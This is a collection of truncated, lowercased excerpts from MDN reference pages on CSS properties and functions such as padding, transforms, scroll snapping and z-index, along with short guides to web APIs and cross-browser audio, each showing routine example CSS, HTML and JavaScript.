ted valueas specified, but with relative lengths converted into absolute lengthsanimation typerepeatable list of simple list of length, percentage, or calc formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover | containwhere <length-percentage> = <length> | <percentage> examples setting mask size as a percentage css #masked { width: 200px; height: 200px;
background: blue linear-gradient(red, blue); -webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); -webkit-mask-size: 50%; mask-size: 50%; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="masked"> </div> <select id="masksize"> <option value="auto">auto</option> <option value=...
max-block-size - CSS: Cascading Style Sheets
.standard-box { padding: 4px;
background-color: #abcdef; color: #000; font: 16px "open sans", "helvetica", "arial", sans-serif; max-block-size: 160px; min-block-size: 100px; } .horizontal { writing-mode: horizontal-tb; } .vertical { writing-mode: vertical-rl; } result specifications specification status comment css logical properties and values level 1the definition of 'max-block-size' in ...
max-inline-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; block-size: 100%; max-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'max-inline-size' in that specification.
max-width - CSS: Cascading Style Sheets
</div> </div> css #parent {
background: lightblue; width: 300px; } #child {
background: gold; width: 100%; max-width: 150px; } result specifications specification status comment css box sizing module level 4the definition of 'max-width' in that specification.
min-block-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum block size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; min-block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-block-size' in that specification.
min-inline-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum inline size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; block-size: 5%; min-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-inline-size' in that specification.
min() - CSS: Cascading Style Sheets
let's look at some css: input, label { padding: 2px; box-sizing: border-box; display: inline-block; width: min(40%, 400px);
background-color: pink; } form { margin: 4px; border: 1px solid black; padding: 4px; } here, the form itself, along with the margin, border, and padding, will be 100% of its parent's width.
minmax() - CSS: Cascading Style Sheets
<percentage> | <flex> | min-content | max-content | auto ] ) css properties minmax() function can be used within: grid-template-columns grid-template-rows grid-auto-columns grid-auto-rows examples css #container { display: grid; grid-template-columns: minmax(min-content, 300px) minmax(200px, 1fr) 150px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%;
background-color: #8cffa0; padding: 10px; } #container > div {
background-color: #8ca0ff; padding: 5px; } html <div id="container"> <div> item as wide as the content, but at most 300 pixels.
offset-distance - CSS: Cascading Style Sheets
html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px;
background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification.
offset-rotate - CSS: Cascading Style Sheets
formal definition initial valueautoapplies totransformable elementsinheritednocomputed valueas specifiedanimation typeas <angle>, <basic-shape> or <path()> formal syntax [ auto | reverse ] | <angle> examples setting element orientation along its offset path html <div></div> <div></div> <div></div> css div { width: 40px; height: 40px;
background: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-distanc...
offset - CSS: Cascading Style Sheets
examples animating an element along a path html <div id="offsetelement"></div> css @keyframes move { from { offset-distance: 0%; } to { offset-distance: 100%; } } #offsetelement { width: 50px; height: 50px;
background-color: blue; offset: path("m 100 100 l 300 100 l 200 300 z") auto; animation: move 3s linear infinite; } result specifications specification status comment motion path module level 1the definition of 'offset' in that specification.
orphans - CSS: Cascading Style Sheets
it has a little bit more text than the first one.</p> </div> css div {
background-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p {
background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'orphans' in that specification.
outline - CSS: Cascading Style Sheets
width: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px;
background: #ffa; } result specifications specification status comment css basic user interface module level 3the definition of 'outline' in that specification.
overflow-wrap - CSS: Cascading Style Sheets
(<code>hyphens</code>, german rules)</p> css p { width: 13em; margin: 2px;
background: gold; } .ow-anywhere { overflow-wrap: anywhere; } .ow-break-word { overflow-wrap: break-word; } .word-break { word-break: break-all; } .hyphens { hyphens: auto; } result specifications specification status comment css text module level 3the definition of 'overflow-wrap' in that specification.
padding-block-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block end padding for vertical text html content <div> <p class="exampletext">example text</p> </div> css content div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-end' in that specification.
padding-block-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-start: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-start' in that specification.
padding-block - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting block padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-block: 20px 40px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block' in that specification.
padding-inline-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline end padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-end: 20px;
background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-end' in that specification.
padding-inline-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-inline-start: 20px;
background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'padding-inline-start' in that specification.
padding-inline - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting inline padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-inline: 20px 40px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-inline' in that specification.
padding - CSS: Cascading Style Sheets
the percentage as specified or the absolute lengthpadding-right: the percentage as specified or the absolute lengthpadding-top: the percentage as specified or the absolute lengthanimation typea length formal syntax [ <length> | <percentage> ]{1,4} examples setting padding with pixels html <h4>this element has moderate padding.</h4> <h3>the padding is huge in this element!</h3> css h4 {
background-color: lime; padding: 20px 50px; } h3 {
background-color: cyan; padding: 110px 50px 50px 110px; } result setting padding with pixels and percentages padding: 5%; /* all sides: 5% padding */ padding: 10px; /* all sides: 10px padding */ padding: 10px 20px; /* top and bottom: 10px padding */ /* left and right: 20px paddin...
page-break-inside - CSS: Cascading Style Sheets
it has a little bit more text than the third one.</p> </div> css .page {
background-color: #8cffa0; height: 90px; width: 200px; columns: 1; column-width: 100px; } .list, ol, ul, p { break-inside: avoid; } p {
background-color: #8ca0ff; } ol, ul, .list { margin: 0.5em 0; display: block;
background-color: orange; } p:first-child { margin-top: 0; } result specifications specification status comment css paged media module leve...
<percentage> - CSS: Cascading Style Sheets
examples width and margin-left <div style="
background-color:navy;"> <div style="width:50%; margin-left:20%;
background-color:chartreuse;"> width: 50%, left margin: 20% </div> <div style="width:30%; margin-left:60%;
background-color:pink;"> width: 30%, left margin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (9px)</span...
place-content - CSS: Cascading Style Sheets
entlistener("change", function (evt) { document.getelementbyid("container").style.writingmode = evt.target.value; }); var direction = document.getelementbyid("direction"); direction.addeventlistener("change", function (evt) { document.getelementbyid("container").style.direction = evt.target.value; }); css #container { display: flex; height:240px; width: 240px; flex-wrap: wrap;
background-color: #8c8c8c; writing-mode: horizontal-tb; /* can be changed in the live sample */ direction: ltr; /* can be changed in the live sample */ place-content: flex-end center; /* can be changed in the live sample */ } div > div { border: 2px solid #8c8c8c; width: 50px;
background-color: #a0c8ff; } .small { font-size: 12px; height: 40px; } .large { font-size: 14px; height: 50px...
place-self - CSS: Cascading Style Sheets
html <article class="container"> <span>first</span> <span>second</span> <span>third</span> <span>fourth</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article {
background-color: red; display: grid; grid-template-columns: 1fr 1fr; grid-auto-rows: 80px; grid-gap: 10px; width: 300px; } span:nth-child(2) { place-self: start center; } span:nth-child(3) { place-self: center start; } span:nth-child(4) { place-self: end; } article span {
background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; ...
repeat() - CSS: Cascading Style Sheets
</div> </div> css #container { display: grid; grid-template-columns: repeat(2, 50px 1fr) 100px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%;
background-color: #8cffa0; padding: 10px; } #container > div {
background-color: #8ca0ff; padding: 5px; } result specifications specification status comment css grid layoutthe definition of 'repeat()' in that specification.
row-gap (grid-row-gap) - CSS: Cascading Style Sheets
h, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; flex-wrap: wrap; width: 300px; row-gap: 20px; } #flexbox > div { border: 1px solid green;
background-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-row-gap: 20px; } #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(3, 1fr); row-gap: 20px; } #grid > div { border: 1px solid green;
background-color: lim...
scroll-margin-inline-end - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px;
background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) {
background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
scroll-margin-inline-start - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px;
background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) {
background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap point...
scroll-margin-inline - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px;
background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) {
background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
scroll-margin - CSS: Cascading Style Sheets
the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px;
background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) {
background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap point...
scroll-snap-coordinate - CSS: Cascading Style Sheets
ype: mandatory; font-size: 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .coordinate0 > div { scroll-snap-coordinate: 0 0; } .coordinate25 > div { scroll-snap-coordinate: 25px 0; } .coordinate50 > div { scroll-snap-coordinate: 50px 0; } .scrollcontainer > div:nth-child(even) {
background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) {
background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-destination - CSS: Cascading Style Sheets
l-snap-destination: 20px 0; font-size: 0; } .destination0 { scroll-snap-destination: 0 0; } .destination25 { scroll-snap-destination: 25px 0; } .destination50 { scroll-snap-destination: 50px 0; } .scrollcontainer > div { width: 100px; height: 100px; display: inline-block; line-height: 100px; text-align: center; font-size: 50px; } .scrollcontainer > div:nth-child(even) {
background-color: #87ea87; } .scrollcontainer > div:nth-child(odd) {
background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-points-x - CSS: Cascading Style Sheets
"> <div>1</div> <div>2</div> <div>3</div> </div> css #container { width: 200px; overflow: auto; white-space: nowrap; scroll-snap-points-x: repeat(100%); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) {
background-color: #87ea87; } #container > div:nth-child(odd) {
background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-points-y - CSS: Cascading Style Sheets
<div>2</div> <div>3</div> </div> css #container { height: 200px; width: 220px; overflow-x: hidden; overflow-y: auto; scroll-snap-points-y: repeat(200px); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: center; font-size: 100px; } #container > div:nth-child(even) {
background-color: #87ea87; } #container > div:nth-child(odd) {
background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-stop - CSS: Cascading Style Sheets
center; scroll-snap-align: center; flex: none; } .x.container > div { line-height: 128px; font-size: 64px; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 256px; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) {
background-color: #87ea87; } .container > div:nth-child(odd) {
background-color: #87ccea; } html <div class="container x mandatory-scroll-snapping" dir="ltr"> <div>x mand.
scroll-snap-type - CSS: Cascading Style Sheets
center; scroll-snap-align: center; flex: none; } .x.container > div { line-height: 128px; font-size: 64px; width: 100%; height: 128px; } .y.container > div { line-height: 256px; font-size: 128px; width: 256px; height: 100%; } /* appearance fixes */ .y.container > div:first-child { line-height: 1.3; font-size: 64px; } /* coloration */ .container > div:nth-child(even) {
background-color: #87ea87; } .container > div:nth-child(odd) {
background-color: #87ccea; } results specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-type' in that specification.
shape-margin - CSS: Cascading Style Sheets
ts to set them forth; but before the world was fashioned the square on the hypotenuse was equal to the sum of the squares on the other two sides of a right triangle, and it will be so after this world is dead; and the inhabitant of mars, if he exists, probably knows its truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px;
background-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specification status comment css shapes module level 1the definition of 'shape-margin' in that specification.
text-indent - CSS: Cascading Style Sheets
length> | <percentage> examples simple indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 5em;
background: powderblue; } result percentage indent html <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> <p>lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.</p> css p { text-indent: 30%; back...
top - CSS: Cascading Style Sheets
formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the height of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples body {
background: beige; } div { position: absolute; top: 10%; right: 40%; bottom: 20%; left: 15%;
background: gold; border: 1px solid blue; } <div>the size of this content is determined by the position of its edges.</div> specifications specification status comment css positioned layout module level 3the definition of 'top' in that specification.
touch-action - CSS: Cascading Style Sheets
html <div id="map"></div> css #map { height: 400px; width: 400px;
background: blue; touch-action: none; } result specifications specification status comment compatibility standardthe definition of 'touch-action' in that specification.
matrix() - CSS: Cascading Style Sheets
homogeneous coordinates on ℝℙ3 ac bd actxbdty001 actxbdty001 ac0txbd0ty00100001 [a b c d tx ty] the values represent the following functions: matrix( scalex(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html <div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'matrix()' in that specification.
perspective() - CSS: Cascading Style Sheets
font-size: 100px; text-align: center; } p + div { width: 100px; height: 100px; transform-style: preserve-3d; margin-left: 100px; } .no-perspective-box { transform: rotatex(-15deg) rotatey(30deg); } .perspective-box-far { transform: perspective(9cm) rotatex(-15deg) rotatey(30deg); } .perspective-box-closer { transform: perspective(4cm) rotatex(-15deg) rotatey(30deg); } .top {
background-color: skyblue; transform: rotatex(90deg) translate3d(0, 0, 50px); } .left {
background-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front {
background-color: limegreen; transform: translate3d(0, 0, 50px); } result specifications specification status comment css transforms level 2the definition of 'perspective()' in that specifi...
rotate3d() - CSS: Cascading Style Sheets
a)+xy(1-cos(a))-y·sin(a)+xz·(1-cos(a))-z·sin(a)+xy·(1-cos(a))1+(1-cos(a))(y2-1)x·sin(a)+yz·(1-cos(a))ysin(a) + xz(1-cos(a))-xsin(a)+yz(1-cos(a))1+(1-cos(a))(z2-1)t0001 homogeneous coordinates on ℝℙ3 examples rotating on the y-axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotate3d(0, 1, 0, 60deg);
background-color: pink; } result rotating on a custom axis html <div>normal</div> <div class="rotated">rotated</div> css body { perspective: 800px; } div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotate3d(1, 2, -1, 192deg);
background-color: pink; } result speci...
rotateX() - CSS: Cascading Style Sheets
1000cos(a)-sin(a)0sin(a)cos(a) 10000cos(a)-sin(a)00sin(a)cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotatex(45deg);
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatex()' in that specification.
rotateY() - CSS: Cascading Style Sheets
cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotatey(60deg);
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatey()' in that specification.
rotateZ() - CSS: Cascading Style Sheets
cos(a)-sin(a)0sin(a)cos(a)0001 cos(a)-sin(a)00 sin(a)cos(a)00 0010 0001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .rotated { transform: rotatez(45deg);
background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatez()' in that specification.
scaleX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 s0 01 s00010001 s00010001 s000010000100001 [s 0 0 1 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: scalex(0.6);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scalex()' in that specification.
scaleY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10 0s 1000s0001 1000s0001 10000s0000100001 [1 0 0 s 0 0] examples html <div>normal</div> <div class="scaled">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .scaled { transform: scaley(0.6);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'scaley()' in that specification.
scaleZ() - CSS: Cascading Style Sheets
10001000s 1000010000s00001 examples html <div>normal</div> <div class="perspective">translated</div> <div class="scaled-translated">scaled</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .perspective { /* includes a perspective to create a 3d space */ transform: perspective(400px) translatez(-100px);
background-color: limegreen; } .scaled-translated { /* includes a perspective to create a 3d space */ transform: perspective(400px) scalez(2) translatez(-100px);
background-color: pink; } result specifications specification status ...
skew() - CSS: Cascading Style Sheets
ous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(ax)tan(ay)1 1tan(ax)0tan(ay)10001 1tan(ax)0tan(ay)10001 1tan(ax)00tan(ay)10000100001 [1 tan(ay) tan(ax) 1 0 0] examples using a single x-angle html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .skewed { transform: skew(10deg); /* equal to skewx(10deg) */
background-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .skewed { transform: skew(10deg, 10deg);
background-color: pink; } result specifications specification s...
skewX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(a)01 1tan(a)0010001 1tan(a)0010001 1tan(a)00010000100001 [1 0 tan(a) 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .skewed { transform: skewx(10deg); /* equal to skew(10deg) */
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewx()' in that specification.
skewY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 10tan(a)1 100tan(a)10001 100tan(a)10001 1000tan(a)10000100001 [1 tan(a) 0 1 0 0] examples html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px;
background-color: skyblue; } .skewed { transform: skewy(40deg);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skewy()' in that specification.
translate() - CSS: Cascading Style Sheets
10tx01ty001 10tx01ty001 100tx010ty00100001 [1 0 0 1 tx ty] formal syntax translate(<length-percentage> , <length-percentage>?) examples using a single-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: translate(10px); /* equal to: translatex(10px) or translate(10px, 0) */
background-color: pink; } result combining y-axis and x-axis translation html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: translate(10px, 10px);
background...
translateX() - CSS: Cascading Style Sheets
10t010001 10t010001 100t010000100001 [1 0 0 1 t 0] formal syntax translatex(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: translatex(10px); /* equal to translate(10px) */
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatex()' in that specification.
translateY() - CSS: Cascading Style Sheets
10001t001 10001t001 1000010t00100001 [1 0 0 1 0 t] formal syntax translatey(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px;
background-color: skyblue; } .moved { transform: translatey(10px);
background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatey()' in that specification.
translateZ() - CSS: Cascading Style Sheets
html <div>static</div> <div class="moved">moved</div> css div { position: relative; width: 60px; height: 60px; left: 100px;
background-color: skyblue; } .moved { transform: perspective(500px) translatez(200px);
background-color: pink; } what really matters here is the class "moved"; let's take a look at what it does.
var() - CSS: Cascading Style Sheets
examples :root { --main-bg-color: pink; } body {
background-color: var(--main-bg-color); } /* fallback */ /* in the component’s style: */ .component .header { color: var(--header-color, blue); /* header-color isn’t set, and so remains blue, the fallback value */ } .component .text { color: var(--text-color, black); } /* in the larger application’s style: */ .component { --text-color: #080; } specifications specification stat...
white-space - CSS: Cascading Style Sheets
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> .box { width: 300px; padding: 16px; border-radius: 10px; } #css-code {
background-color: rgb(220, 220, 220); font-size: 16px; font-family: monospace; } #css-code select { font-family: inherit; } #results {
background-color: rgb(230, 230, 230); overflow-x: scroll; height: 400px; white-space: normal; font-size: 14px; } var select = document.queryselector("#css-code select"); var results = document.queryselector("#results p"); select.addeventlistener("change",...
widows - CSS: Cascading Style Sheets
it has a little bit more text than the first one.</p> </div> css div {
background-color: #8cffa0; columns: 3; widows: 2; } p {
background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'widows' in that specification.
writing-mode - CSS: Cascading Style Sheets
/td> <td class="example text5"><span>example text</span></td> <td class="example text5"><span>מלל ארוך לדוגמא</span></td> <td class="example text5"><span>1994年に至っては</span></td> </tr> </table> css some preparatory css just to make things look a little better: table { border-collapse:collapse; } td, th { border: 1px black solid; padding: 3px; } th {
background-color: lightgray; } .example { height:75px; width:75px; } the css that adjusts the directionality of the content looks like this: .example.text1 span, .example.text1 { writing-mode: horizontal-tb; -webkit-writing-mode: horizontal-tb; -ms-writing-mode: horizontal-tb; } .example.text2 span, .example.text2 { writing-mode: vertical-lr; -webkit-writing-mode: vertical-lr; -ms-writin...
z-index - CSS: Cascading Style Sheets
es visually layering elements html <div class="dashed-box">dashed box <span class="gold-box">gold box</span> <span class="green-box">green box</span> </div> css .dashed-box { position: relative; z-index: 1; border: dashed; height: 8em; margin-bottom: 1em; margin-top: 2em; } .gold-box { position: absolute; z-index: 3; /* put .gold-box above .green-box and .dashed-box */
background: gold; width: 80%; left: 60px; top: 3em; } .green-box { position: absolute; z-index: 2; /* put .green-box above .dashed-box */
background: lightgreen; width: 20%; left: 65%; top: -25px; height: 7em; opacity: 0.9; } result specifications specification status comment css level 2 (revision 1)the definition of 'z-index' in that specification.
zoom - CSS: Cascading Style Sheets
: normal; } p.big { zoom: 2.5; } p { display: inline-block; } p:hover { zoom: reset; } result second example html <div id="a" class="circle"></div> <div id="b" class="circle"></div> <div id="c" class="circle"></div> css div.circle { width: 25px; height: 25px; border-radius: 100%; text-align: center; vertical-align: middle; display: inline-block; zoom: 1.5; } div#a {
background-color: gold; zoom: normal; } div#b {
background-color: green; zoom: 200%; } div#c {
background-color: blue; zoom: 2.9; } result specifications not part of any standard.
CSS: Cascading Style Sheets
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
Guide to Web APIs - Developer guides
web apis from a to z aambient light eventsb
background tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks a...
Cross-browser audio basics - Developer guides
p3</a> </audio> <div id="controls"> <span id="loading">loading</span> <button id="play" style="display:none">play</button> <button id="pause" style="display:none" >pause</button> </div> <div id="progress"> <div id="bar"></div> </div> styled like so: #controls { width: 80px; float: left; } #progress { margin-left: 80px; border: 1px solid black; } #bar { height: 20px;
background-color: green; width: 0; } now let's wire this thing up with javascript: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); var play = document.getelementbyid('play'); var pause = document.getelementbyid('pause'); var loading = document.getelementbyid('loading'); var bar = document.getelementbyid('bar'); function displaycontrols() { loadin...
